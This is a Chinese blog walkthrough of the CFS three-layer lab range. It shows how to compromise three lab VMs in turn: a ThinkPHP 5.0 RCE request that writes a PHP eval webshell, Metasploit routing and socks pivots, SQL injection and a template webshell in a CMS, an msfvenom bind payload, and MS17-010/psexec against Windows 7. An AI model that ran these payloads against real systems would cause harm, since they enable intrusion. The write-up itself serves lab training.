一、环境搭建:

根据作者公开的靶机信息整理

共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:

虚拟机网卡设置

target1(centos) 双网卡模拟内外网:

外网:192.168.1.3,桥接模式

内网:192.168.22.128,仅主机模式

target2(ubuntu) 双网卡存在两个内网网段:

内网1:192.168.22.22,仅主机模式

内网2:192.168.33.22,仅主机模式

target3(win7) 单网卡仅内网:

内网:192.168.33.33,仅主机模式

开启web服务环境:

宝塔后台登陆地址及密码:

http://靶机外网ip:8888/a768f109/

账号:eaj3yhsl,密码:41bb8fee,根据实际靶机ip,配置即可,我的配置如下:

二、渗透实战:

0x01 target1

信息收集

nmap 192.168.1.3 -sV -T4

访问80端口,发现是thinkphp5.0

②tp5.0 rce Getshell

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):

http://192.168.1.3/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" >shell.php

③MSF上线

我这里使用web_delivery模块一句话上线,因为方便,我懒...

利用蚁剑执行即可上线:

横向移动

查看ip信息,发现有两个网卡

添加路由、socks代理,进行横向移动

添加成功

开启socks5代理

 

存活主机探测

发现一台ip为192168.22.22的主机,并且开启了80端口,应该是web服务

ok,target1就到此结束...

0x02 target2

信息收集

proxychains nmap 192.168.22.22 -sT -T4 -Pn

配置浏览器的socks5代理,访问80端口

是一个叫什么八哥CMS搭建的(没听过...)

目录扫描

proxychains dirb http://192.168.22.22/

扫出一个robots.txt,发现有两个admin的目录

发现是一个后台登陆界面,爆破就先不打算(除非万不得已)

等待了一会dirb的扫描结果,也没其他重要的目录,就从页面源代码收集一下信息吧,竟然直接给出了注入点...

注入-->后台登陆

既然给出了注入点,那就直接sqlmap一把梭

proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch

但是sqlmap一直无法连接url,就像这样....具体啥原因还不清楚...

所以就换成了超级sql注入工具(可配置socks代理)

获取到admin表的账号密码,解密为:123qwe

然后成功登陆后台

模板Getshell

巡视了一下后台的功能点,发现有熟悉的模板功能,发现可以直接修改文件

修改tag下的index.php文件,插入webshell

蚁剑添加socks代理后连接webshell

⑤MSF上线

生成一个bind正向连接的马

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6666 -f elf -o test.elf

上传到目标服务器

给执行权限,并执行

MSF开启监听,即可收到会话

set payload linux/x86/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.22.22
run

查看网卡配置,发现又多了一个192.168.33.0/24的网段

添加路由和socks代理

添加多一个socks代理,注意要换一个端口

探测存活主机

发现一台192.168.33.33存活主机

0x03 target3

信息探测

proxychains nmap -Pn -sT -T4 192.168.33.33

开放了445和3389,无疑是windows了

漏洞利用

永恒之蓝肯定要试试的,毕竟emm....舒服嘛hahah,注意payload使用bind直连

使用ms17_010_eternalblue打失败了

尝试另一个利用模块psexec的,成功拿下target3

三、总结:

总体来说这个靶机还是学到了挺多的,完整地体现了,是如何一步步利用跳板代理横向到最深处网络...

①Thinkphp5.x Rce漏洞利用,echo写马地注意事项

②MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动

③八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell

④Ms17-010的psexec利用模块的使用

⑤典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络

CFS三层网络环境靶场实战的更多相关文章

  1. 《Python3 网络爬虫开发实战》开发环境配置过程中踩过的坑

    <Python3 网络爬虫开发实战>学习资料:https://www.cnblogs.com/waiwai14/p/11698175.html 如何从墙内下载Android Studio: ...

  2. CTF大赛模拟-CFS三层内网漫游

    CTF大赛模拟-CFS三层内网漫游 环境: 三台虚拟机,三个网络. target 1:192.168.161.178 ,192.168.52.132 (linux) target 2:192.168. ...

  3. Neutron 理解 (6): Neutron 是怎么实现虚拟三层网络的 [How Neutron implements virtual L3 network]

    学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GR ...

  4. 用openvswitch配置跨节点的docker网络环境

    在一篇随笔中,我们已经尝试了在不依赖工具的情况下设置docker的ip,连我都想吐槽,MD单机都这么麻烦,在多机的环境中岂不是要了我的小命! 本文就是为了多机环境中各个节点的容器通信而做的,网络拓朴如 ...

  5. 崔庆才Python3网络爬虫开发实战电子版书籍分享

    资料下载地址: 链接:https://pan.baidu.com/s/1WV-_XHZvYIedsC1GJ1hOtw 提取码:4o94 <崔庆才Python3网络爬虫开发实战>高清中文版P ...

  6. 网络知识--OSI七层网络与TCP/IP五层网络架构及二层/三层网络

    作为一个合格的运维人员,一定要熟悉掌握OSI七层网络和TCP/IP五层网络结构知识. 废话不多说!下面就逐一展开对这两个网络架构知识的说明:一.OSI七层网络协议OSI是Open System Int ...

  7. 网络知识梳理--OSI七层网络与TCP/IP五层网络架构及二层/三层网络(转)

     reference:https://www.cnblogs.com/kevingrace/p/5909719.html https://www.cnblogs.com/awkflf11/p/9190 ...

  8. openstack-- neutron 二/三层网络实现探究

    引出 Neutron 是openstack 中提供网络虚拟化的组件,根据二层网络的实现方式不同(即agent的不同),可以分为Linux bridge的方式,Openvswitch的方式.而且,lay ...

  9. openstack neutron 二/三层网络实现

    引用声明:https://zhangchenchen.github.io/2017/02/12/neutron-layer2-3-realization-discovry/ 一.概述 Neutron是 ...

随机推荐

  1. xshell行号显示

    xshell显示行号: 输入命令: vim ~/.vimrc 输入: set nu 之后在打开文件 就可以 看到行号显示.

  2. [Android-NDK编译] ndk 编译 c++ 兼容性问题汇总整理

    1.__int64找不到符号 采用int64_t来代替: #if defined(__ANDROID__) typedef int64_t __int64; #endif 2.<sys/io.h ...

  3. Robot Framework(15)- 扩展关键字

    如果你还想从头学起Robot Framework,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1770899.html 前言 什么是扩展 ...

  4. 【LINQ标准查询操作符总结】之聚合操符

    C#  中的LINQ 提供了两种操作方式,查询表达式和查询操作符,所有的查询表达式都有对应的查操作符类替代,查询表达式有点“类” SQL,在代码中写SQL,总觉得不够“优雅”,使用查询操作符就显得“优 ...

  5. AVIRIS反射率数据简介

    Surface Reflectance 高光谱图像 ↑ AVIRIS高光谱成像光谱仪采集得到的原始图像为辐亮度图像,经过校正后的L1级产品为地表辐亮度信息.但是许多时候,我们更希望知道地面目标物的反射 ...

  6. Rocket - tilelink - Atomics

    https://mp.weixin.qq.com/s/TSwKL_qm-b-0e8x7r--hhg   简单介绍Atomics中数学运算.逻辑运算的实现.   ​​   1. io   Atomics ...

  7. 使用turtle库绘制一个六角形

    from turtle import * color("black","red") begin_fill() pu() fd(-200) pd() seth(3 ...

  8. Java实现 蓝桥杯 算法提高 摩尔斯电码

    算法提高 9-3摩尔斯电码 时间限制:1.0s 内存限制:256.0MB 提交此题 问题描述 摩尔斯电码破译.类似于乔林教材第213页的例6.5,要求输入摩尔斯码,返回英文.请不要使用"zy ...

  9. Java实现 洛谷 P1200 [USACO1.1]你的飞碟在这儿Your Ride Is He…

    import java.util.Scanner; public class Main{ private static Scanner cin; public static void main(Str ...

  10. java实现第七届蓝桥杯骰子游戏

    骰子游戏 PS: 骰子哪有从0开始的只能是1-6,而他i j k的范围都是0-5,所以都要加1 题目描述 我们来玩一个游戏. 同时掷出3个普通骰子(6个面上的数字分别是1~6). 如果其中一个骰子上的 ...